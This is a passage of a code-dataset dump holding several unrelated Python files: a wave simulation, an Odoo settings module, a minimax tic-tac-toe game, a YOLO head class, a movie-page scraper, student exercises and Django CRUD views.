Plotter3D import MeshPlotter3D, MeshPlotter3DParallel\n\ndef initial_conditions(DTDX, X, Y):\n \"\"\"\n Construir los puntos en la malla y asignar condiciones iniciales.\n X[i,j] y Y[i,j] son las coordenadas 2D de u[i,j].\n \"\"\"\n assert X.shape == Y.shape\n # Crear arreglos\n um = np.zeros(X.shape) # u^{n-1} \"u minus\"\n u = np.zeros(X.shape) # u^{n} \"u\"\n up = np.zeros(X.shape) # u^{n+1} \"u plus\"\n # Definir Ix & Iy tales que 1:Ix & 1:Iy definan los puntos interiores\n Ix = u.shape[0] - 1\n Iy = u.shape[1] - 1\n # Asignar los puntos interiores: condiciones iniciales gaussianas\n u[1:Ix,1:Iy] = np.exp(-50 * ((X[1:Ix,1:Iy]-0.5)**2 + Y[1:Ix,1:Iy]**2))\n # Asignar puntos fantasma a las condiciones de frontera\n set_ghost_points(u)\n # Correr en reversa para que la derivada respecto al tiempo\n # sea igual a cero\n apply_stencil(DTDX, um, u, up)\n um *= 0.5\n # Fin de inicializacion de up, u y um\n return up, u, um\n\ndef apply_stencil(DTDX, up, u, um):\n \"\"\"\n Aplicar el estencil computacional para computar u^{n+1} -- \"up\".\n Asume que los puntos fantasma existen y tienen los valores correctos.\n \"\"\"\n # Definir Ix & Iy tales que 1:Ix y 1:Iy definen los puntos interiores\n Ix = u.shape[0] - 1\n Iy = u.shape[1] - 1\n # Actualizar puntos interiores con estencil vectorizado\n up[1:Ix,1:Iy] = ((2-4*DTDX)*u[1:Ix,1:Iy] - um[1:Ix,1:Iy]\n + DTDX*(u[0:Ix-1,1:Iy ] +\n u[2:Ix+1,1:Iy ] +\n u[1:Ix ,0:Iy-1] +\n u[1:Ix ,2:Iy+1]))\n\ndef set_ghost_points(u):\n \"\"\"\n Asignar los puntos fantasma.\n \"\"\"\n # Definir Nx y Ny tales que Nx+1 & Ny+1 son los puntos fantasma\n Nx = u.shape[0] - 2\n Ny = u.shape[1] - 2\n # Actualizar puntos fantasma con la condicion de frontera\n u[0,:] = u[2,:] # u_{0,j} = u_{2,j} x = 0\n u[Nx+1,:] = u[Nx-1,:] # u_{Nx+1,j} = u_{Nx-1,j} x = 1\n u[:,0] = u[:,2] # u_{i,0} = u_{i,2} y = 0\n u[:,Ny+1] = u[:,Ny-1] # u_{i,Ny+1} = u_{i,Ny-1} y = 1\n\n\nif __name__ == '__main__':\n # Constantes\n xmin, xmax = 0.0, 1.0 # Fronteras del dominio\n ymin, ymax = 0.0, 1.0 # Fronteras del dominio\n Nx = 64 # Numero total de puntos en x\n Ny = Nx # Numero total de puntos en y\n dx = (xmax-xmin)/(Nx-1) # Espaciamiento de la malla, Delta x\n dy = (ymax-ymin)/(Ny-1) # Espaciamiento de la malla, Delta y\n dt = 0.4 * dx # Paso de tiempo (factor magico de 0.4)\n T = 5 # Tiempo total\n DTDX = (dt*dt) / (dx*dx) # Numero CFL precomputado\n\n # Indices globales: I[i,j] y J[i,j] son los indices de u[i,j]\n [I,J] = np.mgrid[0:Nx+2, 0:Ny+2]\n # Por conveniencia: u[1:Ix,1:Iy] son todos los puntos interiores\n Ix, Iy = Nx+1, Ny+1\n\n # Asignar condiciones iniciales\n up, u, um = initial_conditions(DTDX, (I-1)*dx, (J-1)*dy)\n\n # Inicializar graficador serial: una grafica por proceso\n plotter = MeshPlotter3D()\n\n # Inicializar graficador paralelo: juntar datos en una sola grafica\n #plotter = MeshPlotter3DParallel()\n\n for k,t in enumerate(np.arange(0,T,dt)):\n # Computar u^{n+1} con el estencil computacional\n apply_stencil(DTDX, up, u, um)\n\n # Asignar puntos fantasma en u^{n+1}\n set_ghost_points(up)\n\n # Intercambiar referencias para el siguiente paso\n # u^{n-1} <- u^{n}\n # u^{n} <- u^{n+1}\n # u^{n+1} <- u^{n-1} (sobrescribir en el siguiente paso)\n um, u, up = u, up, um\n\n # Imprimir y dibujar ocasionalmente\n print(\"Paso: %d Tiempo: %f\" % (k,t))\n if k % 5 == 0:\n plotter.draw_now(I[1:Ix,1:Iy], J[1:Ix,1:Iy], u[1:Ix,1:Iy])\n\n plotter.save_now(I[1:Ix,1:Iy], J[1:Ix,1:Iy], u[1:Ix,1:Iy], \"OndaFinal.png\")\n","repo_name":"soyeldono/Proyectos","sub_path":"Python-Simulaciones/Onda.py","file_name":"Onda.py","file_ext":"py","file_size_in_byte":3913,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"4306734588","text":"# -*- coding: utf-8 -*-\n\nimport logging\nfrom openerp.osv import fields, osv\n_logger = logging.getLogger(__name__)\n\n\nclass account_config_settings(osv.osv_memory):\n _inherit = 'account.config.settings'\n _columns = {\n 'property_account_deposit_customer': fields.many2one(\n 'account.account',\n 'Account Advance Customer',\n domain=\"[('type', '!=', 'view')]\",),\n }\n\n def set_default_account_advance(self, cr, uid, ids, context=None):\n \"\"\" set property advance account for customer and supplier \"\"\"\n wizard = self.browse(cr, uid, ids)[0]\n property_obj = self.pool.get('ir.property')\n field_obj = self.pool.get('ir.model.fields')\n todo_list = [\n ('property_account_deposit_customer',\n 'res.partner', 'account.account'),\n ]\n for record in todo_list:\n account = getattr(wizard, record[0])\n value = account and 'account.account,' + str(account.id) or False\n if value:\n field = field_obj.search(cr, uid, [\n ('name', '=', record[0]),\n ('model', '=', record[1]),\n ('relation', '=', record[2])],\n context=context)\n vals = {\n 'name': record[0],\n 'company_id': False,\n 'fields_id': field[0],\n 'value': value,\n }\n property_ids = property_obj.search(\n cr, uid, [('name', '=', record[0])], context=context)\n if property_ids:\n # the property exist: modify it\n property_obj.write(\n cr, uid, property_ids, vals, context=context)\n else:\n # create the property\n property_obj.create(cr, uid, vals, context=context)\n return True\n\n def get_default_account_advance(self, cr, uid, fields, context=None):\n ir_property_obj = self.pool.get('ir.property')\n fiscal_obj = self.pool.get('account.fiscal.position')\n todo_list = [\n ('property_account_deposit_customer', 'res.partner'),\n ]\n res = {}\n for record in todo_list:\n prop = ir_property_obj.get(cr, uid,\n record[0], record[1], context=context)\n prop_id = prop and prop.id or False\n account_id = fiscal_obj.map_account(cr, uid, False, prop_id)\n res.update({record[0]: account_id})\n return res\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","repo_name":"ecosoft-odoo/ecosoft_v8","sub_path":"order_invoice_line_percentage/models/res_config.py","file_name":"res_config.py","file_ext":"py","file_size_in_byte":2648,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"} +{"seq_id":"28780303479","text":"### Main game class\nclass TicTacToe:\n \n def __init__(self):\n \n self.player = 'X'\n self.computer = 'O'\n self.player_turn = True\n \n self.board = [\n ' ', ' ', ' ',\n ' ', ' ', ' ',\n ' ', ' ', ' ']\n \n ### Evaluate values at the final state of the game \n def evaluate(self):\n \n ### Checks for horizontal win\n for row in range(3):\n \n if ((self.board[0 + row*3] == self.board[1 + row*3]) and (self.board[1 + row*3] == self.board[2 + row*3])):\n \n ### Checks for player/computer win\n if (self.board[row*3] == self.player):\n return 1\n \n elif (self.board[row*3] == self.computer):\n return -1\n \n ### Checks for vertical win\n for column in range(3):\n \n if (self.board[0 + column] == self.board[3 + column] and self.board[3 + column] == self.board[6 + column]):\n \n ### Checks for player/computer win\n if (self.board[column] == self.player):\n return 1\n \n elif (self.board[column] == self.computer):\n return -1\n \n ### Checks for diagonal win\n if (self.board[0] == self.board[4] and self.board[4] == self.board[8]) or \\\n (self.board[6] == self.board[4] and self.board[4] == self.board[2]):\n \n ### Checks for player/computer win\n if (self.board[4] == self.player):\n return 1\n \n elif (self.board[4] == self.computer):\n return -1\n return 0\n \n ### Set board \n def setBoard(self, board):\n \n self.board = board\n \n ### Check if move is valid \n def isValidMove(self, value):\n \n if (self.board[value] == ' '): \n return True\n \n else:\n return False\n \n ### Make a valid move for the player\n def makeMove(self):\n \n while True:\n move = int(input(\"\\nEnter a move between 0 and 8\\n\"))\n if (move >= 0) and (move <= 8) and (self.isValidMove(move)):\n \n if (self.player_turn):\n self.board[move] = self.player\n else:\n self.board[move] = self.computer\n \n self.player_turn = not self.player_turn\n break\n \n print(\"\\nPlease enter a valid move! Your options are:\")\n \n for i in range(9):\n if self.board[i] == ' ':\n print(str(i))\n \n \n ### Get which level the game is in (starts at 9, each move the level gets decreased by 1) \n def getDepth(self):\n return self.board.count(' ')\n \n ### Check if a win condition has been achieved\n def checkWin(self):\n return self.evaluate()\n \n ### Print game instructions\n def printInstructions(self):\n \n print(\"\\n=============================\")\n print(\"Welcome to Minimax TicTacToe!\")\n print(\"=============================\\n\")\n print(\"You are going to play against the minimax AI algorithm, which is used to find\")\n print(\"the best possible move, assuming your opponent will also play the best move\")\n print(\"You are going to be playing as \" + \"'X' \" + \"while the computer will play as \" + \"'O'\")\n print(\"The board is mapped as follows:\")\n print(\"\"\"\n 0 | 1 | 2\n ---+---+---\n 3 | 4 | 5\n ---+---+---\n 6 | 7 | 8\n \"\"\")\n print(\"The game will now start, good luck!!!\")\n print(\"=========================================\\n\")\n \n \n ### Draw a fancy board\n def drawBoard(self):\n \n print(\"\"\"\n {} | {} | {}\n ---+---+---\n {} | {} | {}\n ---+---+---\n {} | {} | {}\n \"\"\".format(*self.board))\n \n\n### Tree class\n### All the possible variations of the game are stored in this class \n### Each node is a different game state\n### The children of a node are the neighbor game states of the parent node (with only one move of difference)\n### Each node has its own value, which will be the the best/worst evaluated leaf of that node (depends on whose turn it is) \nclass Node:\n \n def __init__(self, game_state :TicTacToe):\n self.value = 0\n self.children = []\n self.game_state = game_state\n \n ### Set node value \n def setValue(self, value):\n self.value = value\n ### Get node value \n def getValue(self):\n return self.value\n\n ### Add one layer of children to the node (neighbor game states)\n def addChildren(self):\n self.children = []\n \n for i in range(9):\n \n new_board = self.game_state.board.copy()\n \n if (self.game_state.isValidMove(i)):\n \n if (self.game_state.player_turn):\n new_board[i] = self.game_state.player\n \n else:\n new_board[i] = self.game_state.computer\n \n new_game = TicTacToe()\n new_game.player_turn = not self.game_state.player_turn\n new_game.board = new_board\n new_node = Node(new_game)\n \n self.children.append(new_node)\n \n### Recursive algorithm\n### Will choose the best move, considering the opponent will also play the best move\n### The player win has value +1, the computer win has value -1 and a draw has value 0\n### So the computer will choose the minimal value neighbor children, considering the\n### player will always try to choose the maximal value neighbor\ndef minimax(root :Node, depth, is_max):\n \n ### Get evaluation of current game state\n score = root.game_state.evaluate() \n \n ### Base case of recursion\n ### Checks if the game is in a final state\n if (score != 0) or (depth == 0):\n root.setValue(score)\n return score\n \n ### If not in final state, add children to current node\n root.addChildren()\n \n ### Check if minimize or maximize \n if (is_max):\n \n ### if maximize\n max_val = -10\n \n ### choose child with maximal value\n for child in root.children:\n max_val = max(max_val, minimax(child, depth-1, False))\n \n root.setValue(max_val)\n return max_val\n \n else: \n ### if minimize\n min_val = 10\n \n ### choose child with minimal value\n for child in root.children: \n min_val = min(min_val, minimax(child, depth-1, True))\n \n root.setValue(min_val)\n return min_val\n\n\nif __name__ == \"__main__\":\n \n game = TicTacToe()\n root = Node(game)\n \n game.printInstructions()\n \n ### Game loop\n while True:\n \n if game.player_turn:\n \n ### player turn\n game.makeMove()\n ### update game state in tree \n root.game_state = game\n \n print(\"==============================\")\n print(\"You played: \")\n game.drawBoard()\n print(\"==============================\")\n \n ### check for win/draw\n win_condition = game.checkWin()\n \n if win_condition == 1: \n print(\"YOU WIN!\")\n break\n \n elif ' ' not in game.board:\n print(\"\\nDRAW! :/\\n\")\n break\n \n else: \n ### computer turn, minimax to get values of nodes (computer is trying to minimize)\n minimax(root, game.getDepth(), False)\n \n best_score = 10\n best_node = None\n \n ### choosing the child with minimal value\n for child in root.children:\n \n if child.getValue() < best_score: \n best_score = child.getValue()\n best_node = child\n \n ### updating game state and tree \n root = best_node\n game.board = best_node.game_state.board\n game.player_turn = True\n \n print(\"The computer played: \")\n game.drawBoard()\n print(\"==============================\")\n \n ### check for computer win\n win_condition = game.checkWin()\n \n if win_condition == -1: \n print(\"\\nYOU LOSE! :(\\n\")\n break\n \n \n \n\n","repo_name":"jvhendrix/minimax-tic-tac-toe","sub_path":"minimax.py","file_name":"minimax.py","file_ext":"py","file_size_in_byte":8952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"16076264619","text":"# !/usr/bin/env python\r\n# -- coding: utf-8 --\r\n# @Time : 2023/2/7 13:34\r\n# @Author : liumin\r\n# @File : base_yolo_head.py\r\n\r\nimport math\r\nfrom abc import abstractmethod, ABCMeta\r\n\r\nimport torch\r\nimport torch.nn as nn\r\n\r\nfrom src.models.heads.det.base_det_head import BaseDetHead\r\n\r\n\r\nclass BaseYOLOHead(BaseDetHead):\r\n def __init__(self, subtype='yolov6_s', cfg=None, num_classes=80, in_channels=None, channels=None, out_channels=None, num_blocks=None, stacked_convs=0, depthwise=False,\r\n conv_cfg=None, norm_cfg=dict(type='BN', requires_grad=True), act_cfg=dict(type='ReLU')):\r\n super(BaseYOLOHead, self).__init__()\r\n self.subtype = subtype\r\n self.cfg = cfg\r\n self.num_classes = num_classes\r\n self.in_channels = in_channels\r\n self.channels = channels\r\n self.out_channels = out_channels\r\n self.num_blocks = num_blocks\r\n self.stacked_convs = stacked_convs\r\n self.depthwise = depthwise\r\n self.conv_cfg = conv_cfg\r\n self.norm_cfg = norm_cfg\r\n self.act_cfg = act_cfg\r\n\r\n depth_mul, width_mul = self.cfg[self.subtype.split(\"_\")[1]]\r\n self.in_channels = list(map(lambda x: max(round(x * width_mul), 1), self.in_channels))\r\n if self.channels is not None:\r\n if isinstance(self.channels, int):\r\n self.channels = max(round(self.channels * width_mul), 1)\r\n else:\r\n self.channels = list(map(lambda x: max(round(x * width_mul), 1), self.channels))\r\n if self.out_channels is not None:\r\n self.out_channels = list(map(lambda x: max(round(x * width_mul), 1), self.out_channels))\r\n if self.num_blocks is not None:\r\n self.num_blocks = list(map(lambda x: max(round(x * depth_mul), 1), self.num_blocks))\r\n\r\n # self.init_weights()\r\n\r\n @abstractmethod\r\n def init_weights(self):\r\n for m in self.modules():\r\n if isinstance(m, nn.Conv2d):\r\n nn.init.kaiming_uniform_(m.weight, a=math.sqrt(5))\r\n if m.bias is not None:\r\n nn.init.zeros_(m.bias)\r\n elif isinstance(m, nn.BatchNorm2d):\r\n m.eps = 1e-3\r\n m.momentum = 0.03\r\n\r\n\r\n def forward(self, x):\r\n \"\"\"Forward function.\"\"\"\r\n pass","repo_name":"shanglianlm0525/CvPytorch","sub_path":"src/models/heads/det/base_yolo_head.py","file_name":"base_yolo_head.py","file_ext":"py","file_size_in_byte":2305,"program_lang":"python","lang":"en","doc_type":"code","stars":183,"dataset":"github-code","pt":"60"} +{"seq_id":"71587228351","text":"import re\r\nimport requests\r\nimport json\r\nfrom requests.exceptions import RequestException\r\n\r\n\r\ndef get_one_page(url):\r\n try:\r\n response=requests.get(url)\r\n if response.status_code == 200:\r\n return response.text\r\n return None\r\n except RequestException:\r\n return None\r\n\r\ndef parse_one_page(html):\r\n pattern=re.compile('
.*?movie-item\".*?data-src=\"(.*?)@160w.*?movie-item-title\"\\stitle=\"(.*?)\">',re.S)\r\n items=re.findall(pattern,html)\r\n for item in items:\r\n # print(item)\r\n yield {\r\n 'image':item[0],\r\n 'title':item[1],\r\n }\r\n\r\ndef write_to_file(content):\r\n with open('crawl_maoyan_suspense_movie.txt','a',encoding='utf-8') as f:\r\n print('开始写入文件 ==>')\r\n print(content)\r\n f.write(json.dumps(content,ensure_ascii=False)+'\\n')\r\n f.close()\r\n\r\ndef main(page):\r\n url='https://maoyan.com/films?showType=3&catId=8&sortId=3&offset='+str(page)\r\n html=get_one_page(url)\r\n # print(html)\r\n items=parse_one_page(html)\r\n for item in items:\r\n write_to_file(item)\r\n\r\nif __name__ == '__main__':\r\n for i in range(6):\r\n main(i*30)","repo_name":"b4158813/my-python-journey","sub_path":"my_crawl_projects/crawl_maoyan_suspense_movie.py","file_name":"crawl_maoyan_suspense_movie.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15613463561","text":"nombre_caractères = int(input())\r\n\r\nliste_mots = input().split(\" \")\r\n\r\ndef sont_des_anagrammes(mot_1, mot_2):\r\n return sorted(mot_1) == sorted(mot_2)\r\n \r\n\r\ndictionnaire_longueur = dict()\r\ndictionnaire_anagramme = dict()\r\n\r\nanagrammes = set()\r\n\r\nfor mot in liste_mots:\r\n longueur_mot = len(mot)\r\n if longueur_mot not in dictionnaire_longueur:\r\n set_mot = {mot}\r\n dictionnaire_longueur[longueur_mot] = set_mot\r\n else:\r\n dictionnaire_longueur[longueur_mot].add(mot)\r\n\r\nfor longueur_mot, set_mots in dictionnaire_longueur.items():\r\n if len(set_mots) == 1:\r\n pass\r\n else:\r\n liste_mots = list(set_mots)\r\n for mot_1 in liste_mots:\r\n for mot_2 in liste_mots:\r\n if mot_1 == mot_2:\r\n continue\r\n elif sont_des_anagrammes(mot_1, mot_2):\r\n if mot_1 not in dictionnaire_anagramme:\r\n dictionnaire_anagramme[mot_1] = {mot_2}\r\n else:\r\n dictionnaire_anagramme[mot_1].add(mot_2)\r\n if mot_2 not in dictionnaire_anagramme:\r\n dictionnaire_anagramme[mot_2] = {mot_1}\r\n else:\r\n dictionnaire_anagramme[mot_2].add(mot_1)\r\n\r\ndef calcul_anagrammes():\r\n \"\"\"\r\n Permet de calculer le nombre d'anagrammes dans la phrases et retourne leur nombre\r\n \"\"\"\r\n déjà_vu = set()\r\n dictionnaire_anagramme_trié = sorted(dictionnaire_anagramme.items())\r\n for key, value in dictionnaire_anagramme_trié:\r\n for mot in value:\r\n if (mot, key) in déjà_vu:\r\n continue\r\n déjà_vu.add((key, mot))\r\n return len(déjà_vu)\r\n\r\nprint(calcul_anagrammes())","repo_name":"FranckCHAMBON/ClasseVirtuelle","sub_path":"Term_NSI/devoirs/4-dm2/Corrigé/S5/E11.py","file_name":"E11.py","file_ext":"py","file_size_in_byte":1780,"program_lang":"python","lang":"fr","doc_type":"code","stars":3,"dataset":"github-code","pt":"60"} +{"seq_id":"8242548831","text":"# Your task is to create a Python script that analyzes the records to calculate each of the following:\n\n # The total number of months included in the dataset\n # The net total amount of \"Profit/Losses\" over the entire period\n # The average of the changes in \"Profit/Losses\" over the entire period\n # The greatest increase in profits (date and amount) over the entire period\n # The greatest decrease in losses (date and amount) over the entire period\n\n# As an example, your analysis should look similar to the one below:\n # Financial Analysis\n # Total Months: 86\n # Total: $38382578\n # Average Change: $-2315.12\n # Greatest Increase in Profits: Feb-2012 ($1926159)\n # Greatest Decrease in Profits: Sep-2013 ($-2196167)\n\n# In addition, your final script should both print the analysis to the terminal and export a text file with the results.\n\n# Modules\nimport os\nimport csv\n# import statistics\n\n# Set path for file\ncsvpath = os.path.join(\"..\", \"resources\", \"budget_data.csv\")\n\ngreatest_increase =0\ngreatest_decrease =0\nmonths =[]\nprofit =[]\nmonthly_diff =[]\nchanges_totaled =0\ntotal_changes =0\naverage_change =0\nmonths_total =0\n\n# Open the CSV\nwith open(csvpath) as csvfile:\n csvreader = csv.reader(csvfile, delimiter=',')\n header = next(csvreader)\n\n #list values for months and profit\n total_profit=0\n for row in csvreader:\n total_profit += int(row[1])\n months.append(row[0])\n profit.append(row[1])\n\n # iterate through and calculate change in profit month-to-month\n profit = [int (i) for i in profit]\n months_total = len(months)\n for i in range(0, months_total-1):\n monthly_diff.append(int(profit[i+1]-profit[i]))\n\n #Calculate Max, Min, Average and totals. then capture month of greates increase and decrease.\n greatest_increase = max(profit)\n greatest_decrease = min(profit)\n changes_totaled = sum(monthly_diff)\n total_changes = len(monthly_diff)\n MaxDateSpot=profit.index(greatest_increase)\n MinDateSpot=profit.index(greatest_decrease)\n increase_month=months[MaxDateSpot]\n decrease_month=months[MinDateSpot]\n average_change = (changes_totaled/total_changes)\n\n # print results\n print (f'Financial Analysis: \\n Total Months: {months_total} \\\n \\n Total Profit: ${total_profit} \\n Average Change: ${average_change} \\\n \\n Greatest Increase in Profits: {increase_month} (${greatest_increase}) \\\n \\n Greatest Decrease in Profits: {decrease_month} (${greatest_decrease})')\n\n# set output path and file name.\noutput = os.path.join(\"..\", \"analysis\", \"budget_analysis.txt\")\nwith open(output, 'w') as csvfile:\n csvwriter = csv.writer(csvfile, delimiter=',')\n # create lists\n lables=['Label', 'total months', 'total profit', 'average change', 'greatest increase month', 'greatest increase', 'greatest decrease month', 'greatest decrease', ]\n data=['Data', months_total, total_profit, average_change, increase_month, greatest_increase, decrease_month, greatest_decrease]\n # convert list to rows and write to .csv\n rows=zip(lables, data)\n for row in rows:\n csvwriter.writerow(row)\n\n # # print (res)\n # # print (profit)\n # # print (total_changes)\n # # calculate average change\n # # average_change = sum(int(monthly_diff))\n # print (greatest_increase)\n # print (greatest_decrease)\n # print (average_change)\n # print (increase_month)\n # print (decrease_month)\n # # print (monthly_diff[i])\n # print (total_profit)\n # # print (months_total)\n # # print (greatest_increase)\n # # print (greatest_decrease)\n\n # monthly_diff.append(int(row[1+1] -row[1]))\n # remove this and total profit fails....\n # monthly_diff= profit\n # print(monthly_diff)\n # print(profit)\n\n #calculate total profit\n \n # monthly_diff=[]\n # print(profit)\n # Calculate price changes, store values as monthly_diff\n\n # monthly_diff[i] = int(profit[i+1]-profit[i])\n\n # res=monthly_diff[: -1 or None]\n # k=1\n# res=monthly_diff[: -1 or None]\n# print(monthly_diff)\n# Capture values (increase, decrease, dates, and average)\n# months_total = len(months)","repo_name":"Phillips4100/Profits_and_Poll_Data","sub_path":"Pybank/mainpy.py","file_name":"mainpy.py","file_ext":"py","file_size_in_byte":4209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"7178409113","text":"list=list(range(1,99))\r\nprint(list)\r\ndef timee(function):\r\n import time\r\n def wrapper(*args):\r\n \r\n start_time = time.perf_counter() \r\n res = function(*args) \r\n print(\"%s seconds \" % (time.perf_counter() - start_time))\r\n return res\r\n return wrapper\r\n\r\n\r\n@timee\r\ndef sumFor(list):\r\n sum = 0 \r\n for i in list: \r\n sum += i \r\n #print(sum)\r\n return sum\r\n\r\n@timee\r\ndef sumWhile(list): \r\n sum = 0 \r\n length = len(list) \r\n while length: \r\n length -= 1 \r\n sum += list[length] \r\n return sum\r\n\r\n@timee\r\ndef sumRecursive(list):\r\n def f(*args):\r\n if len(list) == 0:\r\n return 0\r\n else:\r\n return list.pop() + f(list)\r\n return f(list)\r\n \r\n#print(sumFor(list))\r\n#print(sumWhile(list))\r\n#print(sumRecursive(list))\r\n\r\nprint(sumFor(list)) \r\nprint(sumWhile(list)) \r\nprint(sumRecursive(list))\r\n","repo_name":"mfxsss/homework","sub_path":"tasssskkkk.py","file_name":"tasssskkkk.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"75699500032","text":"from django.shortcuts import render, redirect, get_object_or_404\r\nfrom django.http import HttpResponse, HttpResponseRedirect\r\nfrom django.contrib.auth import authenticate, login as auth_login\r\nfrom django.contrib.auth import logout as auth_logout\r\nfrom django.contrib.auth.decorators import login_required\r\nfrom django.views.generic import FormView, UpdateView\r\nfrom django.contrib import messages\r\nfrom django.conf import settings\r\nfrom django.urls import reverse\r\nfrom .models import *\r\nfrom .forms import *\r\n\r\n# Create your views here.\r\ndef about(request):\r\n params = {}\r\n return render(request,'about.html',params)\r\n\r\n\r\ndef marcas(request):\r\n \r\n marcas = Marca.objects.all()\r\n params = {'marcas':marcas,'MEDIA_URL': settings.MEDIA_URL}\r\n return render(request,'marcas.html', params)\r\n\r\ndef add_marca(request):\r\n\r\n if request.method == 'POST':\r\n form = MarcaForm(request.POST)\r\n if form.is_valid():\r\n marca = Marca()\r\n marca.marca = form.cleaned_data['marca']\r\n marca.pais = form.cleaned_data['pais']\r\n marca.ano_origen = form.cleaned_data['ano_origen']\r\n marca.contacto = form.cleaned_data['contacto']\r\n marca.imagen = form.cleaned_data['imagen']\r\n marca.save()\r\n form = MarcaForm()\r\n return redirect('marcas')\r\n else:\r\n form = MarcaForm()\r\n \r\n params = {'form':form}\r\n return render(request, 'add_marca.html', params)\r\n\r\ndef buscar_marca(request):\r\n form = BuscarMarcaForm(request.POST)\r\n resultados = []\r\n\r\n if form.is_valid():\r\n busqueda = form.cleaned_data['marca']\r\n resultados = Marca.objects.filter(marca__icontains=busqueda)\r\n\r\n params = {'form': form, 'resultados': resultados}\r\n\r\n return render(request, 'buscar_marca.html', params)\r\n\r\ndef editMarca(request, marca_id):\r\n _marca = Marca.objects.get(id=marca_id)\r\n form = MarcaForm(instance=_marca, data=request.POST or None)\r\n\r\n if form.is_valid():\r\n form.save()\r\n return redirect('marcas')\r\n\r\n params = {'form':form}\r\n return render(request, 'edit_marca.html', params)\r\n\r\n \r\n\r\ndef deleteMarca(request, marca_id):\r\n \r\n marca = Marca.objects.get(pk=marca_id)\r\n marca.delete()\r\n \r\n messages.success(request, 'Has borrado la marca exitosamente!')\r\n \r\n return redirect('marcas')\r\n\r\ndef cartera(request):\r\n carteras = Cartera.objects.all()\r\n params = {'carteras':carteras,'MEDIA_URL': settings.MEDIA_URL}\r\n return render(request,'cartera.html', params)\r\n\r\ndef add_cartera(request):\r\n\r\n if request.method == 'POST':\r\n form = CarteraForm(request.POST)\r\n if form.is_valid():\r\n cartera = Cartera()\r\n cartera.modelo = form.cleaned_data['modelo']\r\n cartera.marca = form.cleaned_data['marca']\r\n cartera.fecha_compra = form.cleaned_data['fecha_compra']\r\n cartera.precio = form.cleaned_data['precio']\r\n cartera.color = form.cleaned_data['color']\r\n cartera.dimensiones = form.cleaned_data['dimensiones']\r\n cartera.imagen = form.cleaned_data['imagen']\r\n cartera.save()\r\n form = CarteraForm()\r\n return redirect('cartera')\r\n else:\r\n form = CarteraForm()\r\n \r\n params = {'form':form}\r\n return render(request, 'add_cartera.html', params)\r\n\r\ndef buscar_cartera(request):\r\n form = BuscarCarteraForm(request.POST)\r\n resultados = []\r\n\r\n if form.is_valid():\r\n busqueda = form.cleaned_data['modelo']\r\n resultados = Cartera.objects.filter(modelo__icontains=busqueda)\r\n\r\n params = {'form': form, 'resultados': resultados}\r\n \r\n return render(request, 'buscar_cartera.html', params)\r\n\r\n\r\ndef editCartera(request, cartera_id):\r\n _cartera = Cartera.objects.get(id=cartera_id)\r\n form = CarteraForm(instance=_cartera, data=request.POST or None)\r\n\r\n if form.is_valid():\r\n form.save()\r\n return redirect('cartera')\r\n\r\n params = {'form':form}\r\n return render(request, 'edit_cartera.html', params)\r\n\r\n\r\ndef deleteCartera(request, cartera_id):\r\n \r\n cartera = Cartera.objects.get(pk=cartera_id)\r\n cartera.delete()\r\n \r\n messages.success(request, 'Has borrado la cartera exitosamente!')\r\n \r\n return redirect('cartera')\r\n\r\n\r\ndef zapato(request):\r\n zapatos = Zapato.objects.all()\r\n params = {'zapatos':zapatos,'MEDIA_URL': settings.MEDIA_URL}\r\n return render(request,'zapato.html', params)\r\n\r\n\r\ndef add_zapato(request):\r\n\r\n if request.method == 'POST':\r\n form = ZapatoForm(request.POST)\r\n if form.is_valid():\r\n zapato = Zapato()\r\n zapato.modelo = form.cleaned_data['modelo']\r\n zapato.marca = form.cleaned_data['marca']\r\n zapato.fecha_compra = form.cleaned_data['fecha_compra']\r\n zapato.precio = form.cleaned_data['precio']\r\n zapato.color = form.cleaned_data['color']\r\n zapato.dimensiones = form.cleaned_data['dimensiones']\r\n zapato.imagen = form.cleaned_data['imagen']\r\n zapato.save()\r\n form = ZapatoForm()\r\n return redirect('zapato')\r\n else:\r\n form = ZapatoForm()\r\n \r\n params = {'form':form}\r\n return render(request, 'add_zapato.html', params)\r\n\r\n\r\ndef editZapato(request, zapato_id):\r\n\r\n _zapato = Zapato.objects.get(id=zapato_id)\r\n\r\n form = ZapatoForm(instance=_zapato, data=request.POST or None)\r\n\r\n if form.is_valid():\r\n form.save()\r\n return redirect('zapato')\r\n\r\n params = {'form':form}\r\n return render(request, 'edit_zapato.html', params)\r\n\r\n\r\ndef buscar_zapato(request):\r\n\r\n form = BuscarZapatoForm(request.POST)\r\n\r\n resultados = []\r\n\r\n if form.is_valid():\r\n busqueda = form.cleaned_data['modelo']\r\n resultados = Zapato.objects.filter(modelo__icontains=busqueda)\r\n\r\n params = {'form': form, 'resultados': resultados}\r\n \r\n return render(request, 'buscar_zapato.html', params)\r\n\r\n\r\ndef deleteZapato(request, zapato_id):\r\n \r\n zapato = Zapato.objects.get(pk=zapato_id)\r\n zapato.delete()\r\n \r\n messages.success(request, 'Has borrado el zapato exitosamente!')\r\n \r\n return redirect('zapato')\r\n\r\n\r\ndef register(request):\r\n params = {}\r\n\r\n form = CreateUserForm()\r\n\r\n params['form'] = form\r\n\r\n if request.method == 'POST':\r\n \r\n form = CreateUserForm(request.POST)\r\n\r\n params['form'] = form\r\n \r\n print(form.is_valid())\r\n\r\n if form.is_valid():\r\n \r\n form.save()\r\n \r\n return redirect('login')\r\n \r\n else:\r\n \r\n return render(request,'register.html',params)\r\n\r\n else:\r\n return render(request,'register.html',params)\r\n \r\n\r\n@login_required(login_url='/login/')\r\ndef logout(request):\r\n \r\n auth_logout(request)\r\n\r\n messages.info(request, 'You have successfully log out!')\r\n\r\n return redirect('home')\r\n\r\n\r\nclass editProfile(UpdateView):\r\n\r\n template = \"profile.html\"\r\n\r\n params = {}\r\n\r\n\r\n def get(self, request):\r\n try:\r\n dataUser = DataUser.objects.get(user=request.user)\r\n except DataUser.DoesNotExist:\r\n dataUser = DataUser.objects.create(user=request.user)\r\n \r\n form = 